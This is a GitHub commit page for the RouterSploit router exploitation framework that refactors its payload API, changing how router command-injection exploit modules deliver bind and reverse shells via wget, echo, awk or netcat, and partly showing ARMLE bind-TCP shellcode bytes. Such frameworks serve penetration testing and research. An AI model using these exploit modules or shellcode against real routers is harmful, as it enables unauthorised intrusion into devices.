Skip to content

Commit

Permalink
Refactor payloads API (threat9#331)
Browse files Browse the repository at this point in the history

* Refactor payloads.

* Payloads handlers (threat9#325)

* Multiple payloads support

* RHost for bind shell

* Fixing payloads

* Validating parameters

* Architecture parameter

* Fixing payloads

* Fix pep

* Fixing tests

* Fixing ident

* Payload handlers

* Removing old payloads

* Removing default target/port

* Fixing payloads, refactoring

* Fixing pep

* Changing payloads names

* Adding wget and echo options

* Parameter validation

* Removing testing modules

* Refactor payload vol. 2

* Remove `ArchitectureHeader`.

* Put PayloadHandler mixins first in MRO.

* Add `ExploitOptionsAggregator` metaclass to mixins.

* Fix payload completion.

* Remove validate_template from shell()

* Fix tests.

* Fix flake8 violations.

* Adding validation

* Adding support for generic payloads

* Add meaningful error message.
  • Loading branch information
fwkz authored Oct 21, 2017
1 parent b24b0bc commit 550bcf4
Show file tree
Hide file tree
Showing 33 changed files with 746 additions and 428 deletions.
1 change: 0 additions & 1 deletion routersploit/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,4 +21,3 @@
from routersploit import wordlists
from routersploit import validators
from routersploit.shell import shell

52 changes: 33 additions & 19 deletions routersploit/exploits.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
from weakref import WeakKeyDictionary
from itertools import chain
import os
import threading
import time
import os
from itertools import chain
from weakref import WeakKeyDictionary

from routersploit.utils import print_status, NonStringIterable
from future.builtins import range

from routersploit.utils import print_status, NonStringIterable

GLOBAL_OPTS = {}

Expand Down Expand Up @@ -52,11 +53,15 @@ class ExploitOptionsAggregator(type):
"""
def __new__(cls, name, bases, attrs):
try:
base_exploit_attributes = chain(map(lambda x: x.exploit_attributes, bases))
base_exploit_attributes = chain(
map(lambda x: x.exploit_attributes, bases)
)
except AttributeError:
attrs['exploit_attributes'] = {}
else:
attrs['exploit_attributes'] = {k: v for d in base_exploit_attributes for k, v in d.iteritems()}
attrs['exploit_attributes'] = {
k: v for d in base_exploit_attributes for k, v in d.iteritems()
}

for key, value in attrs.iteritems():
if isinstance(value, Option):
Expand All @@ -65,17 +70,17 @@ def __new__(cls, name, bases, attrs):
elif key == "__info__":
attrs["_{}{}".format(name, key)] = value
del attrs[key]
elif key in attrs['exploit_attributes']: # Removing exploit_attribute that was overwritten
del attrs['exploit_attributes'][key] # in the child and is not a Option() instance.
return super(ExploitOptionsAggregator, cls).__new__(cls, name, bases, attrs)
# Removing exploit_attribute that was overwritten
# in the child and is not a Option() instance.
elif key in attrs['exploit_attributes']:
del attrs['exploit_attributes'][key]
return super(ExploitOptionsAggregator, cls).__new__(
cls, name, bases, attrs
)


class Exploit(object):
""" Base class for exploits. """

class BaseExploit(object):
__metaclass__ = ExploitOptionsAggregator
# target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")

@property
def options(self):
Expand All @@ -88,17 +93,29 @@ def options(self):
"""
return self.exploit_attributes.keys()

def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)


class Exploit(BaseExploit):
""" Base class for exploits. """

target = Option(default="", description="Target IP address.")
# port = Option(default="", description="Target port.")

def run(self):
raise NotImplementedError("You have to define your own 'run' method.")

def check(self):
raise NotImplementedError("You have to define your own 'check' method.")
raise NotImplementedError(
"You have to define your own 'check' method."
)

def run_threads(self, threads, target, *args, **kwargs):
workers = []
threads_running = threading.Event()
threads_running.set()
for worker_id in xrange(int(threads)):
for worker_id in range(int(threads)):
worker = threading.Thread(
target=target,
args=chain((threads_running,), args),
Expand All @@ -118,6 +135,3 @@ def run_threads(self, threads, target, *args, **kwargs):
for worker in workers:
worker.join()
print_status('Elapsed time: ', time.time() - start, 'seconds')

def __str__(self):
return self.__module__.split('.', 2).pop().replace('.', os.sep)
50 changes: 36 additions & 14 deletions routersploit/interpreter.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,17 @@
from __future__ import print_function

import atexit
import itertools
import os
import sys
import itertools
import traceback
import atexit
from collections import Counter

from routersploit.printer import PrinterThread, printer_queue
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import GLOBAL_OPTS
from routersploit import utils
from routersploit.exceptions import RoutersploitException
from routersploit.exploits import Exploit, GLOBAL_OPTS
from routersploit.payloads import BasePayload
from routersploit.printer import PrinterThread, printer_queue

if sys.platform == "darwin":
import gnureadline as readline
Expand Down Expand Up @@ -180,12 +182,20 @@ def __init__(self):
self.raw_prompt_template = None
self.module_prompt_template = None
self.prompt_hostname = 'rsf'
self.show_sub_commands = ('info', 'options', 'devices', 'all', 'creds', 'exploits', 'scanners')
self.show_sub_commands = (
'info', 'options', 'devices', 'all',
'creds', 'exploits', 'scanners'
)

self.global_commands = sorted(['use ', 'exec ', 'help', 'exit', 'show ', 'search '])
self.module_commands = ['run', 'back', 'set ', 'setg ', 'check']
self.module_commands.extend(self.global_commands)
self.module_commands.sort()
self.global_commands = sorted(
['use ', 'exec ', 'help', 'exit', 'show ', 'search ']
)
self.module_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ', 'check']
)
self.payload_commands = self._extend_with_global_commands(
['run', 'back', 'set ', 'setg ']
)

self.modules = utils.index_modules()
self.modules_count = Counter()
Expand All @@ -201,16 +211,17 @@ def __init__(self):
| |\ \ (_) | |_| | || __/ | /\__/ / |_) | | (_) | | |_
\_| \_\___/ \__,_|\__\___|_| \____/| .__/|_|\___/|_|\__|
| |
Router Exploitation Framework |_|
IoT Exploitation Framework |_|
Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
Codename : Bad Blood
Version : 2.2.1
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count}
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Payloads: {payloads_count}
""".format(exploits_count=self.modules_count['exploits'],
scanners_count=self.modules_count['scanners'],
creds_count=self.modules_count['creds'])
creds_count=self.modules_count['creds'],
payloads_count=self.modules_count['payloads'])

def __parse_prompt(self):
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
Expand All @@ -221,6 +232,12 @@ def __parse_prompt(self):
module_prompt_template = os.getenv("RSF_MODULE_PROMPT", module_prompt_default_template).replace('\\033', '\033')
self.module_prompt_template = module_prompt_template if all(map(lambda x: x in module_prompt_template, ['{host}', "{module}"])) else module_prompt_default_template

def _extend_with_global_commands(self, sequence):
""" Extend specific command suggestion with global commands """
sequence.extend(self.global_commands)
sequence.sort()
return sequence

@property
def module_metadata(self):
return getattr(self.current_module, "_{}__info__".format(self.current_module.__class__.__name__))
Expand Down Expand Up @@ -268,6 +285,11 @@ def suggested_commands(self):
"""
if self.current_module and GLOBAL_OPTS:
return sorted(itertools.chain(self.module_commands, ('unsetg ',)))
elif self.current_module and isinstance(self.current_module, Exploit):
return self.module_commands
elif self.current_module and isinstance(self.current_module,
BasePayload):
return self.payload_commands
elif self.current_module:
return self.module_commands
else:
Expand Down Expand Up @@ -378,7 +400,7 @@ def _show_info(self, *args, **kwargs):

@utils.module_required
def _show_options(self, *args, **kwargs):
target_opts = ['target', 'port']
target_opts = ['target', 'port', 'rhost', 'rport', 'lhost', 'lport']
module_opts = [opt for opt in self.current_module.options if opt not in target_opts]
headers = ("Name", "Current settings", "Description")

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -1295,8 +1295,8 @@ def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mipsbe", method="wget", location="/tmp")
else:
print_error("Exploit failed. Device seems to be not vulnerable.")

Expand Down
5 changes: 4 additions & 1 deletion routersploit/modules/exploits/misc/wepresent/wipg1000_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,10 @@ def run(self):
if self.check():
print_success("Target seems to be vulnerable")
print_status("This is blind command injection, response is not available")
shell(self, architecture="mipsbe", binary="netcat", shell="/bin/sh")
shell(self,
architecture="generic",
method="netcat",
payloads=["netcat_bind_tcp", "netcat_reverse_tcp"])
else:
print_error("Exploit failed - exploit seems to be not vulnerable")

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -53,8 +53,11 @@ def run(self):
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("Please note that only first 256 characters of the "
"output will be displayed or use reverse_tcp")
shell(self, architecture="armle", method="wget", binary="wget", location="/tmp")
"output will be displayed.")
shell(self,
architecture="armle",
method="wget",
location="/tmp")
else:
print_error("Target is not vulnerable")
except socket.error as ex:
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ def run(self):
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection, response is not available")
shell(self, architecture="mipsle", method="echo", binary="echo", location="/var/tmp/")
shell(self, architecture="mipsle", method="echo", location="/var/tmp/")
else:
print_error("Exploit failed - target seems to be not vulnerable")

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,10 @@ def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
shell(self, architecture="none", method="awk", binary="awk")
shell(self,
architecture="generic",
method="awk",
payloads=["awk_bind_tcp", "awk_reverse_tcp"])
else:
print_error("Target is not vulnerable")

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
shell(self, architecture="mipsle", method="wget", binary="wget", location="/var")
shell(self, architecture="mipsle", method="wget", location="/var")
else:
print_error("Target is not vulnerable")

Expand Down
6 changes: 3 additions & 3 deletions routersploit/modules/exploits/routers/netgear/multi_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,12 +57,12 @@ def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>")
print_status("It is blind command injection - response is not available")

if self.arch == "mipsbe":
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self, architecture="mipsbe", method="wget", location="/tmp")
elif self.arch == "mipsle":
shell(self, architecture="mipsle", method="wget", binary="wget", location="/tmp")
shell(self, architecture="mipsle", method="wget", location="/tmp")
else:
print_error("Target is not vulnerable")

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,10 @@ def run(self):
print_status("It is blind command injection so response is not available")

# requires testing
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else:
print_error("Exploit failed - target seems to be not vulnerable")

Expand Down
5 changes: 4 additions & 1 deletion routersploit/modules/exploits/routers/zte/zxv10_rce.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,10 @@ def run(self):
self.info()

print_status("Invoking command loop")
shell(self, architecture="mipsbe", method="wget", binary="wget", location="/tmp")
shell(self,
architecture="mipsbe",
method="wget",
location="/tmp")
else:
print_error("Exploit failed - target seems to be not vulnerable")

Expand Down
8 changes: 0 additions & 8 deletions routersploit/modules/payloads/__init__.py
Original file line number Diff line number Diff line change
@@ -1,8 +0,0 @@
from . import armle_bind_tcp
from . import armle_reverse_tcp

from . import mipsbe_bind_tcp
from . import mipsbe_reverse_tcp

from . import mipsle_bind_tcp
from . import mipsle_reverse_tcp
Empty file.
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
from routersploit import (
exploits,
payloads,
validators
from routersploit import validators
from routersploit.payloads import (
ArchitectureSpecificPayload,
Architectures,
BindTCPPayloadMixin,
)


class Exploit(payloads.Payload):
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
'name': 'ARMLE Bind TCP',
'authors': [
Expand All @@ -17,13 +18,11 @@ class Exploit(payloads.Payload):
],
}

architecture = "armle"
port = exploits.Option(5555, 'Bind Port', validators=validators.integer)
architecture = Architectures.ARMLE

def generate(self):
bind_port = self.convert_port(self.port)

self.payload = (
bind_port = validators.convert_port(self.rport)
return (
"\x02\x00\xa0\xe3" +
"\x01\x10\xa0\xe3" +
"\x06\x20\xa0\xe3" +
Expand Down
Loading

0 comments on commit 550bcf4

Please sign in to comment.